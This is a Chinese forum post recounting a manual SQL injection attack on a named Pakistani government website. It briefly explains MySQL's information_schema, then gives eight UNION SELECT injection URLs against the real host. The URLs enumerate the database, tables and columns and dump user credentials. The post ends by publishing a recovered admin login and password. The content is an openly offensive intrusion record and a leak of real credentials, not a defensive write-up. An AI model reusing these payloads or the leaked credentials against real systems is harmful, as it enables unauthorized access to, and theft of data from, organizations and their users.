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手工注入巴基斯坦政FU官网

2010-1-31 07:42| 发布者: admin| 查看: 35| 评论: 0|原作者: 天仙子

一 原理分析
我看看mysql5比之前增加的系统数据库information_schema的结构,它是用来存储数据库系统信息的
mysql> use information_schema;
Database changed
mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema |
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| KEY_COLUMN_USAGE |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+---------------------------------------+
这里只挑注射中可以用到的几个表。 
| SCHEMATA ――>存储数据库名的,
|——>关键字段:SCHEMA_NAME,表示数据库名称
| TABLES ――>存储表名的
|——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;
TABLE_NAME表示表的名称
| COLUMNS ――>存储字段名的
|——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;
TABLE_NAME表示所属的表的名称
          COLUMN_NAME表示字段名
二注入过程
1:http://oms.hec.gov.pk/?comp=newsletter_display.php&id=-19791009%20union%20all%20select%201,2,3,4,5,user(),7,8,9,10,11,12--用户
2:http://oms.hec.gov.pk/?comp=newsletter_display.php&id=-19791009%20union%20all%20select%201,2,3,4,5,version(),7,8,9,10,11,12--版本
3:http://oms.hec.gov.pk/?comp=newsletter_display.php&id=-19791009%20union%20all%20select%201,2,3,4,5,database(),7,8,9,10,11,12--数据库
4:http://oms.hec.gov.pk/?comp=newsletter_display.php&id=-19791009%20union%20all%20select%201,2,3,4,5,table_name,7,8,9,10,11,12%20from%20information_schema.tables%20limit%201,1--递归字段名
5:http://oms.hec.gov.pk/?comp=newsletter_display.php&id=-19791009%20union%20all%20select%201,2,3,4,5,table_name,7,8,9,10,11,12%20from%20information_schema.tables%20limit%2034,1--继续递归
6:http://oms.hec.gov.pk/?comp=newsletter_display.php&id=-19791009%20union%20all%20select%201,2,3,4,5,column_name,7,8,9,10,11,12%20from%20information_schema.columns%20where%20table_name=char(69,82,80,95,85,83,69,82)%20limit%204,1/*字段里的表名
7:http://oms.hec.gov.pk/?comp=newsletter_display.php&id=-19791009%20union%20all%20select%201,2,3,4,5,column_name,7,8,9,10,11,12%20from%20information_schema.columns%20where%20table_name=char(69,82,80,95,85,83,69,82)%20limit%205,1/*字段里的表明
8:http://oms.hec.gov.pk/?comp=newsletter_display.php&id=-19791009%20union%20all%20select%201,2,3,4,5,concat(USER_NAME,0x3a,PASSWORD),7,8,9,10,11,12%20from%20HEC_OMS.ERP_USER%20limit%201,1/*递增得到密码。
以下这个。
admin:creative
到这里得到好多密码 不同等级的。
由于IP限制渗透需进一步进行

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